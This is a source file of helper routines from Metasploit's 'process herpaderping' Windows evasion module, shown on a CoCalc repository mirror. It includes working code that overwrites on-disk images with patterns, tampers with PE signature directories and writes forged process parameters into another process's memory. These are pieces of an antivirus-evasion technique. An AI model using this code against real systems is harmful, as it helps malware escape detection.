CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/utils.cpp
Views: 11788
1
#include "pch.hpp"
2
#include "utils.hpp"
3
4
_Use_decl_annotations_
5
std::wstring Utils::FormatError(uint32_t Error)
6
{
7
LPWSTR buffer;
8
std::wstring message;
9
auto length = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER |
10
FORMAT_MESSAGE_FROM_SYSTEM |
11
FORMAT_MESSAGE_IGNORE_INSERTS,
12
nullptr,
13
Error,
14
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
15
RCAST(LPWSTR)(&buffer),
16
0,
17
nullptr);
18
if ((buffer != nullptr) && (length > 0))
19
{
20
message = std::wstring(buffer, length);
21
}
22
else
23
{
24
length = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER |
25
FORMAT_MESSAGE_FROM_SYSTEM |
26
FORMAT_MESSAGE_FROM_HMODULE |
27
FORMAT_MESSAGE_IGNORE_INSERTS,
28
GetModuleHandleA("ntdll.dll"),
29
Error,
30
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
31
RCAST(LPWSTR)(&buffer),
32
0,
33
nullptr);
34
if ((buffer != nullptr) && (length > 0))
35
{
36
//
37
// NT status codes are formatted with inserts, only use the
38
// initial description if there is one, otherwise just use the
39
// string as is.
40
//
41
message = std::wstring(buffer, length);
42
if (message[0] == L'{')
43
{
44
auto pos = message.find(L'}', 1);
45
if (pos != std::wstring::npos)
46
{
47
message = std::wstring(message.begin() + 1,
48
message.begin() + pos);
49
}
50
}
51
}
52
}
53
54
if (message.empty())
55
{
56
message = L"Unknown Error";
57
}
58
59
std::wstringstream ss;
60
ss << L"0x"
61
<< std::hex << std::setfill(L'0') << std::setw(8) << Error
62
<< L" - "
63
<< std::move(message);
64
65
auto res = ss.str();
66
EraseAll(res, { L'\r', L'\n', L'\t' });
67
68
LocalFree(buffer);
69
70
return res;
71
}
72
73
_Use_decl_annotations_
74
HRESULT Utils::FillBufferWithPattern(
75
std::vector<uint8_t>& Buffer,
76
std::span<const uint8_t> Pattern)
77
{
78
if (Buffer.empty())
79
{
80
REPORT_AND_RETURN_WIN32("FillBufferWithPattern: Buffer is empty", ERROR_INVALID_PARAMETER);
81
}
82
83
auto bytesRemaining = Buffer.size();
84
while (bytesRemaining > 0)
85
{
86
auto len = (Pattern.size() > bytesRemaining ?
87
bytesRemaining
88
:
89
Pattern.size());
90
91
std::memcpy(&Buffer[Buffer.size() - bytesRemaining],
92
Pattern.data(),
93
len);
94
95
bytesRemaining -= len;
96
}
97
98
return S_OK;
99
}
100
101
_Use_decl_annotations_
102
HRESULT Utils::GetFileSize(
103
handle_t FileHandle,
104
uint64_t& FileSize)
105
{
106
FileSize = 0;
107
108
LARGE_INTEGER fileSize;
109
if (GetFileSizeEx(FileHandle, &fileSize) == 0)
110
{
111
REPORT_AND_RETURN_WIN32("GetFileSize: Error getting file size", GetLastError());
112
}
113
114
if (fileSize.QuadPart < 0)
115
{
116
REPORT_AND_RETURN_WIN32("GetFileSize: Invalid file size", ERROR_FILE_INVALID);
117
}
118
119
FileSize = fileSize.QuadPart;
120
return S_OK;
121
}
122
123
_Use_decl_annotations_
124
HRESULT Utils::SetFilePointer(
125
handle_t FileHandle,
126
int64_t DistanceToMove,
127
uint32_t MoveMethod)
128
{
129
LARGE_INTEGER distance;
130
distance.QuadPart = DistanceToMove;
131
132
if (SetFilePointerEx(FileHandle, distance, nullptr, MoveMethod) == 0)
133
{
134
REPORT_AND_RETURN_WIN32("SetFilePointer: Error returned by SetFilePointerEx()", GetLastError());
135
}
136
137
return S_OK;
138
}
139
140
_Use_decl_annotations_
141
HRESULT Utils::CopyFileByHandle(
142
handle_t SourceHandle,
143
handle_t TargetHandle)
144
{
145
//
146
// Get the file sizes.
147
//
148
uint64_t sourceSize;
149
if (FAILED(GetFileSize(SourceHandle, sourceSize)))
150
{
151
REPORT_AND_RETURN_WIN32("CopyFileByHandle: Error getting source file size", GetLastError());
152
}
153
154
//
155
// Set the file pointers to the beginning of the files.
156
//
157
HRESULT hr = SetFilePointer(SourceHandle, 0, FILE_BEGIN);
158
if (FAILED(hr))
159
{
160
REPORT_AND_RETURN_HR("CopyFileByHandle: Error setting source file pointer", hr);
161
}
162
hr = SetFilePointer(TargetHandle, 0, FILE_BEGIN);
163
if (FAILED(hr))
164
{
165
REPORT_AND_RETURN_HR("CopyFileByHandle: Error setting target file pointer", hr);
166
}
167
168
uint64_t bytesRemaining = sourceSize;
169
std::vector<uint8_t> buffer;
170
if (bytesRemaining > MaxFileBuffer)
171
{
172
buffer.assign(MaxFileBuffer, 0);
173
}
174
else
175
{
176
buffer.assign(SCAST(size_t)(bytesRemaining), 0);
177
}
178
179
while (bytesRemaining > 0)
180
{
181
if (bytesRemaining < buffer.size())
182
{
183
buffer.assign(SCAST(size_t)(bytesRemaining), 0);
184
}
185
186
DWORD bytesRead = 0;
187
if (ReadFile(SourceHandle, buffer.data(), SCAST(DWORD)(buffer.size()), &bytesRead, nullptr) == 0)
188
{
189
REPORT_AND_RETURN_WIN32("CopyFileByHandle: Error reading source file", GetLastError());
190
}
191
192
bytesRemaining -= bytesRead;
193
194
DWORD bytesWitten = 0;
195
if (WriteFile(TargetHandle, buffer.data(), SCAST(DWORD)(buffer.size()), &bytesWitten, nullptr) == 0)
196
{
197
REPORT_AND_RETURN_WIN32("CopyFileByHandle: Error writing target file", GetLastError());
198
}
199
}
200
201
if (FlushFileBuffers(TargetHandle) == 0)
202
{
203
REPORT_AND_RETURN_WIN32("CopyFileByHandle: Error flushing target file", GetLastError());
204
}
205
if (SetEndOfFile(TargetHandle) == 0)
206
{
207
REPORT_AND_RETURN_WIN32("CopyFileByHandle: Error setting EoF on target file", GetLastError());
208
}
209
210
return S_OK;
211
}
212
213
_Use_decl_annotations_
214
HRESULT Utils::OverwriteFileContentsWithPattern(
215
handle_t FileHandle,
216
std::span<const uint8_t> Pattern)
217
{
218
uint64_t targetSize;
219
if (FAILED(Utils::GetFileSize(FileHandle, targetSize)))
220
{
221
REPORT_AND_RETURN_WIN32("OverwriteFileContentsWithPattern: Error getting file size", GetLastError());
222
}
223
HRESULT hr = SetFilePointer(FileHandle, 0, FILE_BEGIN);
224
if (FAILED(hr))
225
{
226
REPORT_AND_RETURN_HR("OverwriteFileContentsWithPattern: Error setting file pointer", hr);
227
}
228
229
uint64_t bytesRemaining = targetSize;
230
std::vector<uint8_t> buffer;
231
if (bytesRemaining > MaxFileBuffer)
232
{
233
buffer.resize(MaxFileBuffer);
234
hr = FillBufferWithPattern(buffer, Pattern);
235
if (FAILED(hr))
236
{
237
REPORT_AND_RETURN_HR("OverwriteFileContentsWithPattern: Error in FillBufferWithPattern()", hr);
238
}
239
}
240
else
241
{
242
buffer.resize(SCAST(size_t)(bytesRemaining));
243
hr = FillBufferWithPattern(buffer, Pattern);
244
if (FAILED(hr))
245
{
246
REPORT_AND_RETURN_HR("OverwriteFileContentsWithPattern: Error in FillBufferWithPattern()", hr);
247
}
248
}
249
250
while (bytesRemaining > 0)
251
{
252
if (bytesRemaining < buffer.size())
253
{
254
buffer.resize(SCAST(size_t)(bytesRemaining));
255
hr = FillBufferWithPattern(buffer, Pattern);
256
if (FAILED(hr))
257
{
258
REPORT_AND_RETURN_HR("OverwriteFileContentsWithPattern: Error in FillBufferWithPattern()", hr);
259
}
260
}
261
262
DWORD bytesWritten = 0;
263
if (WriteFile(FileHandle, buffer.data(), SCAST(DWORD)(buffer.size()), &bytesWritten, nullptr) == 0)
264
{
265
REPORT_AND_RETURN_WIN32("OverwriteFileContentsWithPattern: Error writing to file", GetLastError());
266
}
267
268
bytesRemaining -= bytesWritten;
269
}
270
271
if (FlushFileBuffers(FileHandle) == 0)
272
{
273
REPORT_AND_RETURN_WIN32("OverwriteFileContentsWithPattern: Error flushing file", GetLastError());
274
}
275
276
return S_OK;
277
}
278
279
_Use_decl_annotations_
280
HRESULT Utils::OverwriteFileAfterWithPattern(
281
handle_t FileHandle,
282
uint64_t FileOffset,
283
std::span<const uint8_t> Pattern,
284
uint32_t& WrittenBytes)
285
{
286
WrittenBytes = 0;
287
288
uint64_t targetSize;
289
if (FAILED(Utils::GetFileSize(FileHandle, targetSize)))
290
{
291
REPORT_AND_RETURN_WIN32("OverwriteFileAfterWithPattern: Error getting file size", GetLastError());
292
}
293
294
if (FileOffset >= targetSize)
295
{
296
REPORT_AND_RETURN_WIN32("OverwriteFileAfterWithPattern: FileOffset cannot be greater than targetSize", ERROR_INVALID_PARAMETER);
297
}
298
299
HRESULT hr = SetFilePointer(FileHandle, FileOffset, FILE_BEGIN);
300
if (FAILED(hr))
301
{
302
REPORT_AND_RETURN_HR("OverwriteFileAfterWithPattern: Error setting file pointer", hr);
303
}
304
305
uint64_t bytesRemaining;
306
bytesRemaining = (targetSize - FileOffset);
307
std::vector<uint8_t> buffer;
308
if (bytesRemaining > MaxFileBuffer)
309
{
310
buffer.resize(MaxFileBuffer);
311
hr = FillBufferWithPattern(buffer, Pattern);
312
if (FAILED(hr))
313
{
314
REPORT_AND_RETURN_HR("OverwriteFileAfterWithPattern: Error in FillBufferWithPattern()", hr);
315
}
316
}
317
else
318
{
319
buffer.resize(SCAST(size_t)(bytesRemaining));
320
hr = FillBufferWithPattern(buffer, Pattern);
321
if (FAILED(hr))
322
{
323
REPORT_AND_RETURN_HR("OverwriteFileAfterWithPattern: Error in FillBufferWithPattern()", hr);
324
}
325
}
326
327
while (bytesRemaining > 0)
328
{
329
DWORD bytesWritten = 0;
330
331
if (bytesRemaining < buffer.size())
332
{
333
buffer.resize(SCAST(size_t)(bytesRemaining));
334
hr = FillBufferWithPattern(buffer, Pattern);
335
if (FAILED(hr))
336
{
337
REPORT_AND_RETURN_HR("OverwriteFileAfterWithPattern: Error in FillBufferWithPattern()", hr);
338
}
339
}
340
341
if (WriteFile(FileHandle, buffer.data(), SCAST(DWORD)(buffer.size()), &bytesWritten, nullptr) == 0)
342
{
343
REPORT_AND_RETURN_WIN32("OverwriteFileAfterWithPattern: Error writing to file", GetLastError());
344
}
345
346
bytesRemaining -= bytesWritten;
347
WrittenBytes += bytesWritten;
348
}
349
350
if (FlushFileBuffers(FileHandle) == 0)
351
{
352
REPORT_AND_RETURN_WIN32("OverwriteFileAfterWithPattern: Error flushing file", GetLastError());
353
}
354
355
return S_OK;
356
}
357
358
_Use_decl_annotations_
359
HRESULT Utils::ExtendFileSecurityDirectory(
360
handle_t FileHandle,
361
uint32_t ExtendedBy)
362
{
363
uint64_t targetSize;
364
if (FAILED(Utils::GetFileSize(FileHandle, targetSize)))
365
{
366
REPORT_AND_RETURN_WIN32("ExtendFileSecurityDirectory: Error getting file size", GetLastError());
367
}
368
369
ULARGE_INTEGER mappingSize;
370
mappingSize.QuadPart = targetSize;
371
MappingHandle mapping;
372
mapping.get() = CreateFileMappingW(FileHandle,
373
nullptr,
374
PAGE_READWRITE,
375
mappingSize.HighPart,
376
mappingSize.LowPart,
377
nullptr);
378
if (!mapping.valid())
379
{
380
REPORT_AND_RETURN_WIN32("ExtendFileSecurityDirectory: Error creating file mapping", GetLastError());
381
}
382
383
mapping.view() = MapViewOfFile(mapping.get(),
384
FILE_MAP_READ | FILE_MAP_WRITE,
385
0,
386
0,
387
mappingSize.LowPart);
388
if (mapping.view() == nullptr)
389
{
390
REPORT_AND_RETURN_WIN32("ExtendFileSecurityDirectory: Error returned by MapViewOfFile()", GetLastError());
391
}
392
393
auto dosHeader = RCAST(PIMAGE_DOS_HEADER)(mapping.view());
394
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
395
{
396
//
397
// This is not a PE file, we're done.
398
//
399
REPORT_AND_RETURN_WIN32("ExtendFileSecurityDirectory: Failed parse PE file", ERROR_INVALID_IMAGE_HASH);
400
}
401
402
auto ntHeader = RCAST(PIMAGE_NT_HEADERS32)(Add2Ptr(mapping.view(), dosHeader->e_lfanew));
403
if (ntHeader->Signature != IMAGE_NT_SIGNATURE)
404
{
405
REPORT_AND_RETURN_WIN32("ExtendFileSecurityDirectory: Failed parse PE NT Header (x32)", ERROR_INVALID_IMAGE_HASH);
406
}
407
408
IMAGE_DATA_DIRECTORY* secDir;
409
if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)
410
{
411
if (ntHeader->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_SECURITY)
412
{
413
//
414
// No security directory, we're done.
415
//
416
return S_OK;
417
}
418
secDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY];
419
}
420
else if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
421
{
422
auto ntHeader64 = RCAST(PIMAGE_NT_HEADERS64)(ntHeader);
423
if (ntHeader64->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_SECURITY)
424
{
425
//
426
// No security directory, we're done.
427
//
428
return S_OK;
429
}
430
secDir = &ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY];
431
}
432
else
433
{
434
REPORT_AND_RETURN_WIN32("ExtendFileSecurityDirectory: Failed parse PE NT Header (x64)", ERROR_INVALID_IMAGE_HASH);
435
}
436
437
if ((secDir->VirtualAddress) == 0 || (secDir->Size == 0))
438
{
439
//
440
// No security directory, we're done.
441
//
442
return S_OK;
443
}
444
445
//
446
// Extend the security directory size.
447
//
448
secDir->Size = (secDir->Size + ExtendedBy);
449
450
if (FlushViewOfFile(mapping.view(), mappingSize.LowPart) == 0)
451
{
452
DWORD lastError = GetLastError();
453
REPORT_AND_RETURN_WIN32("ExtendFileSecurityDirectory: Error flushing view of file", lastError);
454
}
455
456
mapping.close();
457
458
if (FlushFileBuffers(FileHandle) == 0)
459
{
460
REPORT_AND_RETURN_WIN32("ExtendFileSecurityDirectory: Error flushing file", GetLastError());
461
}
462
463
return S_OK;
464
}
465
466
_Use_decl_annotations_
467
HRESULT Utils::GetImageEntryPointRva(
468
handle_t FileHandle,
469
uint32_t& EntryPointRva)
470
{
471
EntryPointRva = 0;
472
473
uint64_t fileSize;
474
if (FAILED(Utils::GetFileSize(FileHandle, fileSize)))
475
{
476
REPORT_AND_RETURN_WIN32("ImageEntryPointRva: Error getting file size", GetLastError());
477
}
478
479
ULARGE_INTEGER mappingSize;
480
mappingSize.QuadPart = fileSize;
481
MappingHandle mapping;
482
mapping.get() = CreateFileMappingW(FileHandle,
483
nullptr,
484
PAGE_READONLY,
485
mappingSize.HighPart,
486
mappingSize.LowPart,
487
nullptr);
488
if (!mapping.valid())
489
{
490
REPORT_AND_RETURN_WIN32("ImageEntryPointRva: Error creating file mapping", GetLastError());
491
}
492
493
mapping.view() = MapViewOfFile(mapping.get(),
494
FILE_MAP_READ,
495
0,
496
0,
497
mappingSize.LowPart);
498
if (mapping.view() == nullptr)
499
{
500
REPORT_AND_RETURN_WIN32("ImageEntryPointRva: Error returned by MapViewOfFile()", GetLastError());
501
}
502
503
auto dosHeader = RCAST(PIMAGE_DOS_HEADER)(mapping.view());
504
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
505
{
506
REPORT_AND_RETURN_WIN32("ImageEntryPointRva: Failed parse PE file", ERROR_INVALID_IMAGE_HASH);
507
}
508
509
auto ntHeader = RCAST(PIMAGE_NT_HEADERS32)(Add2Ptr(mapping.view(), dosHeader->e_lfanew));
510
if (ntHeader->Signature != IMAGE_NT_SIGNATURE)
511
{
512
REPORT_AND_RETURN_WIN32("ImageEntryPointRva: Failed parse PE NT Header (x32)", ERROR_INVALID_IMAGE_HASH);
513
}
514
515
if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)
516
{
517
EntryPointRva = ntHeader->OptionalHeader.AddressOfEntryPoint;
518
}
519
else if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
520
{
521
auto ntHeader64 = RCAST(PIMAGE_NT_HEADERS64)(ntHeader);
522
EntryPointRva = ntHeader64->OptionalHeader.AddressOfEntryPoint;
523
}
524
else
525
{
526
REPORT_AND_RETURN_WIN32("ImageEntryPointRva: Failed parse PE NT Header (x64)", ERROR_INVALID_IMAGE_HASH);
527
}
528
529
mapping.close();
530
531
return S_OK;
532
}
533
534
class OptionalUnicodeStringHelper
535
{
536
public:
537
538
OptionalUnicodeStringHelper(
539
_In_opt_ const std::optional<std::wstring>& String) :
540
m_String(String)
541
{
542
if (m_String.has_value())
543
{
544
RtlInitUnicodeString(&m_Unicode, m_String->c_str());
545
}
546
else
547
{
548
RtlInitUnicodeString(&m_Unicode, L"");
549
}
550
}
551
552
PUNICODE_STRING Get()
553
{
554
if (m_String.has_value())
555
{
556
return &m_Unicode;
557
}
558
return nullptr;
559
}
560
561
operator PUNICODE_STRING()
562
{
563
return Get();
564
}
565
566
private:
567
568
const std::optional<std::wstring>& m_String;
569
UNICODE_STRING m_Unicode;
570
571
};
572
573
_Use_decl_annotations_
574
HRESULT Utils::WriteRemoteProcessParameters(
575
handle_t ProcessHandle,
576
const std::wstring ImageFileName,
577
const std::optional<std::wstring>& DllPath,
578
const std::optional<std::wstring>& CurrentDirectory,
579
const std::optional<std::wstring>& CommandLine,
580
void* EnvironmentBlock,
581
const std::optional<std::wstring>& WindowTitle,
582
const std::optional<std::wstring>& DesktopInfo,
583
const std::optional<std::wstring>& ShellInfo,
584
const std::optional<std::wstring>& RuntimeData)
585
{
586
//
587
// Get the basic info for the remote PEB address.
588
//
589
PROCESS_BASIC_INFORMATION pbi{};
590
NTSTATUS status = NtQueryInformationProcess(ProcessHandle,
591
ProcessBasicInformation,
592
&pbi,
593
sizeof(pbi),
594
nullptr);
595
if (!NT_SUCCESS(status))
596
{
597
REPORT_AND_RETURN_NT("WriteRemoteProcessParameters: Failed to query process info", status);
598
}
599
600
//
601
// Generate the process parameters to write into the process.
602
//
603
UNICODE_STRING imageName;
604
RtlInitUnicodeString(&imageName, ImageFileName.c_str());
605
OptionalUnicodeStringHelper dllPath(DllPath);
606
OptionalUnicodeStringHelper commandLine(CommandLine);
607
OptionalUnicodeStringHelper currentDirectory(CurrentDirectory);
608
OptionalUnicodeStringHelper windowTitle(WindowTitle);
609
OptionalUnicodeStringHelper desktopInfo(DesktopInfo);
610
OptionalUnicodeStringHelper shellInfo(ShellInfo);
611
OptionalUnicodeStringHelper runtimeData(RuntimeData);
612
PRTL_USER_PROCESS_PARAMETERS params;
613
614
//
615
// Generate the process parameters and do not pass
616
// RTL_USER_PROC_PARAMS_NORMALIZED, this will keep the process parameters
617
// de-normalized (pointers will be offsets instead of addresses) then
618
// LdrpInitializeProcess will call RtlNormalizeProcessParameters and fix
619
// them up when the process starts.
620
//
621
// Note: There is an exception here, the Environment pointer is not
622
// de-normalized - we'll fix that up ourself.
623
//
624
status = RtlCreateProcessParametersEx(&params,
625
&imageName,
626
dllPath,
627
currentDirectory,
628
commandLine,
629
EnvironmentBlock,
630
windowTitle,
631
desktopInfo,
632
shellInfo,
633
runtimeData,
634
0);
635
if (!NT_SUCCESS(status))
636
{
637
REPORT_AND_RETURN_NT("WriteRemoteProcessParameters: Failed to create process parameters", status);
638
}
639
640
//
641
// Calculate the required length.
642
//
643
size_t len = params->MaximumLength + params->EnvironmentSize;
644
645
//
646
// Allocate memory in the remote process to hold the process parameters.
647
//
648
auto remoteMemory = VirtualAllocEx(ProcessHandle,
649
nullptr,
650
len,
651
MEM_COMMIT | MEM_RESERVE,
652
PAGE_READWRITE);
653
if (remoteMemory == nullptr)
654
{
655
RtlDestroyProcessParameters(params);
656
REPORT_AND_RETURN_WIN32("WriteRemoteProcessParameters: Error allocating memory", GetLastError());
657
}
658
659
660
//
661
// Okay we have some memory in the remote process, go do the final fix-ups.
662
//
663
if (params->Environment != nullptr)
664
{
665
//
666
// The environment block will always be right after the length, which
667
// is the size of RTL_USER_PROCESS_PARAMETERS plus any extra field
668
// data.
669
//
670
params->Environment = Add2Ptr(remoteMemory, params->Length);
671
}
672
673
//
674
// Write the parameters into the remote process.
675
//
676
if (WriteProcessMemory(ProcessHandle, remoteMemory, params, len, nullptr) == 0)
677
{
678
RtlDestroyProcessParameters(params);
679
REPORT_AND_RETURN_WIN32("WriteRemoteProcessParameters: Error writting parameters into the remote process", GetLastError());
680
}
681
682
//
683
// Write the parameter pointer to the remote process PEB.
684
//
685
if (WriteProcessMemory(ProcessHandle,
686
Add2Ptr(pbi.PebBaseAddress,
687
FIELD_OFFSET(PEB, ProcessParameters)),
688
&remoteMemory,
689
sizeof(remoteMemory),
690
nullptr) == 0)
691
{
692
RtlDestroyProcessParameters(params);
693
REPORT_AND_RETURN_WIN32("WriteRemoteProcessParameters: Error writting the parameter pointer to the remote process PEB", GetLastError());
694
}
695
696
return S_OK;
697
}
698
699
#pragma optimize( "", off )
700
_Use_decl_annotations_
701
BOOL Utils::ShouldReplaceWithFile(
702
const char* fileName)
703
{
704
return (fileName[0] == '\0') ? FALSE : TRUE;
705
}
706
#pragma optimize( "", on )
707
708
_Use_decl_annotations_
709
HRESULT Utils::GetFileName(
710
const char* sourceFileName,
711
std::wstring& finalFileName)
712
{
713
size_t cbTargetFileName = strnlen_s(sourceFileName, FILE_MAX_PATH);
714
int sizeNeeded = MultiByteToWideChar(CP_UTF8,
715
0,
716
sourceFileName,
717
(int)cbTargetFileName,
718
NULL,
719
0);
720
if (sizeNeeded == 0)
721
{
722
REPORT_AND_RETURN_WIN32("GetFileName: Error getting required size to convert filename to wide chars", GetLastError());
723
}
724
725
std::wstring TargetFileNameTmp(sizeNeeded, 0);
726
if (MultiByteToWideChar(CP_UTF8,
727
0,
728
sourceFileName,
729
(int)cbTargetFileName,
730
&TargetFileNameTmp[0],
731
sizeNeeded) == 0)
732
{
733
REPORT_AND_RETURN_WIN32("GetFileName: Error converting filename to wide chars", GetLastError());
734
}
735
736
sizeNeeded = ExpandEnvironmentStringsW(TargetFileNameTmp.c_str(), NULL, 0);
737
if (sizeNeeded == 0)
738
{
739
REPORT_AND_RETURN_WIN32("GetFileName: Error getting required size to expand filename", GetLastError());
740
}
741
742
finalFileName.resize(((size_t)sizeNeeded) - 1, 0);
743
if (ExpandEnvironmentStringsW(TargetFileNameTmp.c_str(), &finalFileName[0], sizeNeeded) == 0)
744
{
745
REPORT_AND_RETURN_WIN32("GetFileName: Error expanding filename", GetLastError());
746
}
747
748
return S_OK;
749
}
750
751
#ifndef _WIN64
752
//
753
// Only needed for 32-bit Windows
754
//
755
_Use_decl_annotations_
756
HRESULT Utils::GetFileVersion(LPCWSTR lptstrFilename, PFILE_VERSION ver)
757
{
758
DWORD dwHandle;
759
DWORD dwLen = GetFileVersionInfoSizeW(lptstrFilename, &dwHandle);
760
if (dwLen == 0)
761
{
762
REPORT_AND_RETURN_WIN32("GetFileVersion: Error getting file version info size", GetLastError());
763
}
764
LPVOID lpData = new LPVOID[dwLen];
765
if (!GetFileVersionInfoW(lptstrFilename, 0, dwLen, lpData))
766
{
767
delete[] lpData;
768
REPORT_AND_RETURN_WIN32("GetFileVersion: Error getting file version info", GetLastError());
769
}
770
VS_FIXEDFILEINFO* versionInfo;
771
UINT uLen;
772
if (!VerQueryValueW(lpData, L"\\", (LPVOID*)&versionInfo, &uLen))
773
{
774
delete[] lpData;
775
REPORT_AND_RETURN_WIN32("GetFileVersion: Error getting version info", GetLastError());
776
}
777
778
ver->MajorVersion = (versionInfo->dwProductVersionMS >> 16) & 0xFFFF;
779
ver->MinorVersion = versionInfo->dwProductVersionMS & 0xFFFF;
780
ver->BuildVersion = (versionInfo->dwProductVersionLS >> 16) & 0xFFFF;
781
ver->RevisionVersion = versionInfo->dwProductVersionLS & 0xFFFF;
782
783
delete[] lpData;
784
785
return S_OK;
786
}
787
788
_Use_decl_annotations_
789
HRESULT Utils::IsBuggyKernel()
790
{
791
std::wstring kernelFile;
792
HRESULT hr = Utils::GetFileName("%SystemRoot%\\System32\\ntoskrnl.exe", kernelFile);
793
if (FAILED(hr))
794
{
795
REPORT_AND_RETURN_HR("Failed to retrieve the target filename", hr);
796
}
797
798
FileHandle kernelHandle(kernelFile);
799
kernelHandle.get() = CreateFileW(kernelFile.c_str(),
800
GENERIC_READ,
801
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
802
nullptr,
803
OPEN_EXISTING,
804
FILE_ATTRIBUTE_NORMAL,
805
nullptr);
806
if (!kernelHandle.valid())
807
{
808
REPORT_AND_RETURN_WIN32("BuggyKernel: Failed to open Kernel file", GetLastError());
809
}
810
811
FILE_VERSION ver;
812
hr = GetFileVersion(kernelFile.c_str(), &ver);
813
if (FAILED(hr))
814
{
815
REPORT_AND_RETURN_HR("BuggyKernel: Failed getting file version", hr);
816
}
817
dprintf("Version of %S is %hu.%hu.%hu.%hu",
818
kernelFile.c_str(),
819
ver.MajorVersion,
820
ver.MinorVersion,
821
ver.BuildVersion,
822
ver.RevisionVersion
823
);
824
if (ver.MajorVersion == 10 &&
825
ver.MinorVersion == 0 &&
826
ver.BuildVersion > 10240 &&
827
ver.BuildVersion < 16299)
828
{
829
return S_OK;
830
}
831
832
return S_FALSE;
833
}
834
#endif
835
836